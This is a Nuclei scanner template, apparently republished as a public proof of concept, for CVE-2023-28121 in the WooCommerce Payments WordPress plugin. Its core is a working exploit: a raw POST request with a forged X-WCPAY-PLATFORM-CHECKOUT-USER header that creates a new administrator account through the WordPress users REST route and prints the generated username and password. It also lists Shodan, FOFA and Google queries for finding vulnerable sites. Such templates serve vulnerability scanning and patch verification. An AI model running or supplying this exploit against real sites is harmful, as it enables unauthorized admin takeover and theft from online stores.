An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.
PoC代码[已公开]
id: CVE-2023-28121
info:
name: WooCommerce Payments - Unauthorized Admin Access
author: DhiyaneshDK
severity: critical
description: |
An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.
impact: |
An attacker can gain unauthorized access to the WooCommerce Payments admin panel, potentially leading to data theft or modification.
remediation: |
Update to the latest version of the WooCommerce Payments plugin to fix the vulnerability.
reference:
- https://github.com/gbrsh/CVE-2023-28121
- https://nvd.nist.gov/vuln/detail/CVE-2023-28121
- https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
- https://woocommerce.com/products/woocommerce-payments/
- https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-28121
cwe-id: CWE-287
epss-score: 0.93462
epss-percentile: 0.99819
cpe: cpe:2.3:a:automattic:woocommerce_payments:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: automattic
product: woocommerce_payments
framework: wordpress
shodan-query: http.html:/wp-content/plugins/woocommerce-payments
fofa-query: body=/wp-content/plugins/woocommerce-payments
publicwww-query: /wp-content/plugins/woocommerce-payments
google-query: inurl:/wp-content/plugins/woocommerce-payments
tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,automattic
variables:
username: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
X-WCPAY-PLATFORM-CHECKOUT-USER: 1
Content-Type: application/x-www-form-urlencoded
rest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"registered_date":'
- '"username":'
- '"email":'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 201
extractors:
- type: dsl
dsl:
- '"WP_USERNAME: "+ username'
- '"WP_PASSWORD: "+ password'
# digest: 4a0a00473045022004ce6228fc439d50ee846c21e8c06d187aa64c7157ec41b9d3ec0b6a49ce0dfa022100b950cdd359edcda87552aaee2023395a9e582947c154f2c26258ce238aba3c4d:922c64590222798bb761d5b6d8e72950